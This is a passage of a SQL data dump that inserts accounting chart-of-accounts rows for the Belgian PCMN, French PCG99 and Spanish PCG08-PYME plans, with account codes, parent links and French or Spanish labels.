incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1331,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7601',1329,'Sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1332,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','761',1328,'Reprises de réductions de valeur sur immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1333,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','762',1328,'Reprises de provisions pour risques et charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1334,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','763',1328,'Plus-values sur réalisation d\'actifs immobilisés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1335,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7630',1334,'Sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1336,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7631',1334,'Sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1337,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7632',1334,'Sur immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1338,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','764',1328,'Autres produits exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(1339,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','77',1357,'Régularisations d\'impôts et reprises de provisions fiscales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1340,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','771',1339,'Impôts belges sur le résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(1341,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7710',1340,'Régularisations d\'impôts dus ou versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1342,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7711',1340,'Régularisations d\'impôts estimés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1343,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7712',1340,'Reprises de provisions fiscales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1344,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','773',1339,'Impôts étrangers sur le résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(1345,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','79',1357,'Affectation aux résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(1346,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','790',1345,'Bénéfice reporté de l\'exercice précédent',NULL,0,NULL,NULL,1,0,NULL,NULL),(1347,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','791',1345,'Prélèvement sur le capital et les primes d\'émission',NULL,0,NULL,NULL,1,0,NULL,NULL),(1348,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','792',1345,'Prélèvement sur les réserves',NULL,0,NULL,NULL,1,0,NULL,NULL),(1349,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','793',1345,'Perte à reporter',NULL,0,NULL,NULL,1,0,NULL,NULL),(1350,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','794',1345,'Intervention d\'associés (ou du propriétaire) dans la perte',NULL,0,NULL,NULL,1,0,NULL,NULL),(1351,1,NULL,'2018-07-30 11:12:54','PCMN-BASE','CAPIT','1',0,'Fonds propres, provisions pour risques et charges et dettes à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1352,1,NULL,'2018-07-30 11:12:54','PCMN-BASE','IMMO','2',0,'Frais d\'établissement. Actifs immobilisés et créances à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1353,1,NULL,'2018-07-30 11:12:54','PCMN-BASE','STOCK','3',0,'Stock et commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1354,1,NULL,'2018-07-30 11:12:54','PCMN-BASE','TIERS','4',0,'Créances et dettes à un an au plus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1355,1,NULL,'2018-07-30 11:12:54','PCMN-BASE','FINAN','5',0,'Placement de trésorerie et de valeurs disponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1356,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6',0,'Charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(1357,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7',0,'Produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(1401,1,NULL,'2018-07-30 11:12:54','PCG99-ABREGE','CAPIT','1',0,'Fonds propres, provisions pour risques et charges et dettes à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1402,1,NULL,'2018-07-30 11:12:54','PCG99-ABREGE','IMMO','2',0,'Frais d\'établissement. Actifs immobilisés et créances à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1403,1,NULL,'2018-07-30 11:12:54','PCG99-ABREGE','STOCK','3',0,'Stock et commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1404,1,NULL,'2018-07-30 11:12:54','PCG99-ABREGE','TIERS','4',0,'Créances et dettes à un an au plus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1405,1,NULL,'2018-07-30 11:12:54','PCG99-ABREGE','FINAN','5',0,'Placement de trésorerie et de valeurs disponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1406,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','6',0,'Charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(1407,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','7',0,'Produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(1501,1,NULL,'2017-02-20 10:46:43','PCG99-BASE','CAPIT','1',0,'Fonds propres, provisions pour risques et charges et dettes à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1502,1,NULL,'2018-07-30 11:12:54','PCG99-BASE','IMMO','2',0,'Frais d\'établissement. Actifs immobilisés et créances à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1503,1,NULL,'2018-07-30 11:12:54','PCG99-BASE','STOCK','3',0,'Stock et commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1504,1,NULL,'2018-07-30 11:12:54','PCG99-BASE','TIERS','4',0,'Créances et dettes à un an au plus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1505,1,NULL,'2018-07-30 11:12:54','PCG99-BASE','FINAN','5',0,'Placement de trésorerie et de valeurs disponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1506,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','6',0,'Charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(1507,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','7',0,'Produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(4001,1,NULL,'2018-07-30 11:12:54','PCG08-PYME','FINANCIACION','1',0,'Financiación básica',NULL,0,NULL,NULL,1,0,NULL,NULL),(4002,1,NULL,'2018-07-30 11:12:54','PCG08-PYME','ACTIVO','2',0,'Activo no corriente',NULL,0,NULL,NULL,1,0,NULL,NULL),(4003,1,NULL,'2018-07-30 11:12:54','PCG08-PYME','EXISTENCIAS','3',0,'Existencias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4004,1,NULL,'2018-07-30 11:12:54','PCG08-PYME','ACREEDORES_DEUDORES','4',0,'Acreedores y deudores por operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4005,1,NULL,'2018-07-30 11:12:54','PCG08-PYME','CUENTAS_FINANCIERAS','5',0,'Cuentas financieras',NULL,0,NULL,NULL,1,0,NULL,NULL),(4006,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6',0,'Compras y gastos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4007,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7',0,'Ventas e ingresos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4008,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','10',4001,'CAPITAL',NULL,0,NULL,NULL,1,0,NULL,NULL),(4009,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','100',4008,'Capital social',NULL,0,NULL,NULL,1,0,NULL,NULL),(4010,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','101',4008,'Fondo social',NULL,0,NULL,NULL,1,0,NULL,NULL),(4011,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','102',4008,'Capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(4012,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','103',4008,'Socios por desembolsos no exigidos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4013,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1030',4012,'Socios por desembolsos no exigidos capital social',NULL,0,NULL,NULL,1,0,NULL,NULL),(4014,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1034',4012,'Socios por desembolsos no exigidos capital pendiente de inscripción',NULL,0,NULL,NULL,1,0,NULL,NULL),(4015,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','104',4008,'Socios por aportaciones no dineradas pendientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4016,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1040',4015,'Socios por aportaciones no dineradas pendientes capital social',NULL,0,NULL,NULL,1,0,NULL,NULL),(4017,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1044',4015,'Socios por aportaciones no dineradas pendientes capital pendiente de inscripción',NULL,0,NULL,NULL,1,0,NULL,NULL),(4018,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','108',4008,'Acciones o participaciones propias en situaciones especiales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4019,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','109',4008,'Acciones o participaciones propias para reducción de capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(4020,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','11',4001,'Reservas y otros instrumentos de patrimonio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4021,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','110',4020,'Prima de emisión o asunción',NULL,0,NULL,NULL,1,0,NULL,NULL),(4022,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','111',4020,'Otros instrumentos de patrimonio neto',NULL,0,NULL,NULL,1,0,NULL,NULL),(4023,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1110',4022,'Patrimonio neto por emisión de instrumentos financieros compuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4024,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1111',4022,'Resto de instrumentos de patrimoio neto',NULL,0,NULL,NULL,1,0,NULL,NULL),(4025,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','112',4020,'Reserva legal',NULL,0,NULL,NULL,1,0,NULL,NULL),(4026,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','113',4020,'Reservas voluntarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4027,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','114',4020,'Reservas especiales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4028,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1140',4027,'Reservas para acciones o participaciones de la sociedad dominante',NULL,0,NULL,NULL,1,0,NULL,NULL),(4029,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1141',4027,'Reservas estatutarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4030,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1142',4027,'Reservas por capital amortizado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4031,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1143',4027,'Reservas por fondo de comercio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4032,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1144',4028,'Reservas por acciones propias aceptadas en garantía',NULL,0,NULL,NULL,1,0,NULL,NULL),(4033,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','115',4020,'Reservas por pérdidas y ganancias actuariales y otros ajustes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4034,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','118',4020,'Aportaciones de socios o propietarios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4035,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','119',4020,'Diferencias por ajuste del capital a euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4036,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','12',4001,'Resultados pendientes de aplicación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4037,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','120',4036,'Remanente',NULL,0,NULL,NULL,1,0,NULL,NULL),(4038,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','121',4036,'Resultados negativos de ejercicios anteriores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4039,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','129',4036,'Resultado del ejercicio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4040,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','13',4001,'Subvenciones, donaciones y ajustes por cambio de valor',NULL,0,NULL,NULL,1,0,NULL,NULL),(4041,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','130',4040,'Subvenciones oficiales de capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(4042,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','131',4040,'Donaciones y legados de capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(4043,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','132',4040,'Otras subvenciones, donaciones y legados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4044,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','133',4040,'Ajustes por valoración en activos financieros disponibles para la venta',NULL,0,NULL,NULL,1,0,NULL,NULL),(4045,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','134',4040,'Operaciones de cobertura',NULL,0,NULL,NULL,1,0,NULL,NULL),(4046,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1340',4045,'Cobertura de flujos de efectivo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4047,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1341',4045,'Cobertura de una inversión neta en un negocio extranjero',NULL,0,NULL,NULL,1,0,NULL,NULL),(4048,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','135',4040,'Diferencias de conversión',NULL,0,NULL,NULL,1,0,NULL,NULL),(4049,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','136',4040,'Ajustes por valoración en activos no corrientes y grupos enajenables de elementos mantenidos para la venta',NULL,0,NULL,NULL,1,0,NULL,NULL),(4050,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','137',4040,'Ingresos fiscales a distribuir en varios ejercicios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4051,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1370',4050,'Ingresos fiscales por diferencias permanentes a distribuir en varios ejercicios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4052,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1371',4050,'Ingresos fiscales por deducciones y bonificaciones a distribuir en varios ejercicios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4053,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','14',4001,'Provisiones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4054,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','141',4053,'Provisión para impuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4055,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','142',4053,'Provisión para otras responsabilidades',NULL,0,NULL,NULL,1,0,NULL,NULL),(4056,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','143',4053,'Provisión por desmantelamiento, retiro o rehabilitación del inmovilizado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4057,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','145',4053,'Provisión para actuaciones medioambientales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4058,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','15',4001,'Deudas a largo plazo con características especiales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4059,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','150',4058,'Acciones o participaciones a largo plazo consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4060,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','153',4058,'Desembolsos no exigidos por acciones o participaciones consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4061,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1533',4060,'Desembolsos no exigidos empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4062,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1534',4060,'Desembolsos no exigidos empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4063,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1535',4060,'Desembolsos no exigidos otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4064,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1536',4060,'Otros desembolsos no exigidos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4065,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','154',4058,'Aportaciones no dinerarias pendientes por acciones o participaciones consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4066,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1543',4065,'Aportaciones no dinerarias pendientes empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4067,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1544',4065,'Aportaciones no dinerarias pendientes empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4068,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1545',4065,'Aportaciones no dinerarias pendientes otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4069,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1546',4065,'Otras aportaciones no dinerarias pendientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4070,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','16',4001,'Deudas a largo plazo con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4071,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','160',4070,'Deudas a largo plazo con entidades de crédito vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4072,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1603',4071,'Deudas a largo plazo con entidades de crédito empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4073,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1604',4071,'Deudas a largo plazo con entidades de crédito empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4074,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1605',4071,'Deudas a largo plazo con otras entidades de crédito vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4075,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','161',4070,'Proveedores de inmovilizado a largo plazo partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4076,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1613',4075,'Proveedores de inmovilizado a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4077,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1614',4075,'Proveedores de inmovilizado a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4078,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1615',4075,'Proveedores de inmovilizado a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4079,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','162',4070,'Acreedores por arrendamiento financiero a largo plazo partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4080,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1623',4079,'Acreedores por arrendamiento financiero a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4081,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1624',4080,'Acreedores por arrendamiento financiero a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4082,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1625',4080,'Acreedores por arrendamiento financiero a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4083,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','163',4070,'Otras deudas a largo plazo con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4084,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1633',4083,'Otras deudas a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4085,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1634',4083,'Otras deudas a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4086,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1635',4083,'Otras deudas a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4087,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','17',4001,'Deudas a largo plazo por préstamos recibidos empresitos y otros conceptos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4088,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','170',4087,'Deudas a largo plazo con entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4089,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','171',4087,'Deudas a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4090,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','172',4087,'Deudas a largo plazo transformables en suvbenciones donaciones y legados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4091,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','173',4087,'Proveedores de inmovilizado a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4092,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','174',4087,'Acreedores por arrendamiento financiero a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4093,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','175',4087,'Efectos a pagar a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4094,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','176',4087,'Pasivos por derivados financieros a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4095,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','177',4087,'Obligaciones y bonos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4096,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','179',4087,'Deudas representadas en otros valores negociables',NULL,0,NULL,NULL,1,0,NULL,NULL),(4097,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','18',4001,'Pasivos por fianzas garantias y otros conceptos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4098,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','180',4097,'Fianzas recibidas a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4099,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','181',4097,'Anticipos recibidos por ventas o prestaciones de servicios a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4100,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','185',4097,'Depositos recibidos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4101,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','19',4001,'Situaciones transitorias de financiación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4102,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','190',4101,'Acciones o participaciones emitidas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4103,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','192',4101,'Suscriptores de acciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4104,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','194',4101,'Capital emitido pendiente de inscripción',NULL,0,NULL,NULL,1,0,NULL,NULL),(4105,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','195',4101,'Acciones o participaciones emitidas consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4106,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','197',4101,'Suscriptores de acciones consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4107,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','199',4101,'Acciones o participaciones emitidas consideradas como pasivos financieros pendientes de inscripción',NULL,0,NULL,NULL,1,0,NULL,NULL),(4108,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','20',4002,'Inmovilizaciones intangibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(4109,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','200',4108,'Investigación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4110,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','201',4108,'Desarrollo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4111,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','202',4108,'Concesiones administrativas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4112,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','203',4108,'Propiedad industrial',NULL,0,NULL,NULL,1,0,NULL,NULL),(4113,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','205',4108,'Derechos de transpaso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4114,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','206',4108,'Aplicaciones informáticas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4115,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','209',4108,'Anticipos para inmovilizaciones intangibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(4116,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','21',4002,'Inmovilizaciones materiales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4117,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','210',4116,'Terrenos y bienes naturales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4118,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','211',4116,'Construcciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4119,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','212',4116,'Instalaciones técnicas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4120,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','213',4116,'Maquinaria',NULL,0,NULL,NULL,1,0,NULL,NULL),(4121,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','214',4116,'Utillaje',NULL,0,NULL,NULL,1,0,NULL,NULL),(4122,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','215',4116,'Otras instalaciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4123,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','216',4116,'Mobiliario',NULL,0,NULL,NULL,1,0,NULL,NULL),(4124,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','217',4116,'Equipos para procesos de información',NULL,0,NULL,NULL,1,0,NULL,NULL),(4125,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','218',4116,'Elementos de transporte',NULL,0,NULL,NULL,1,0,NULL,NULL),(4126,1,NULL,'2018-01-22 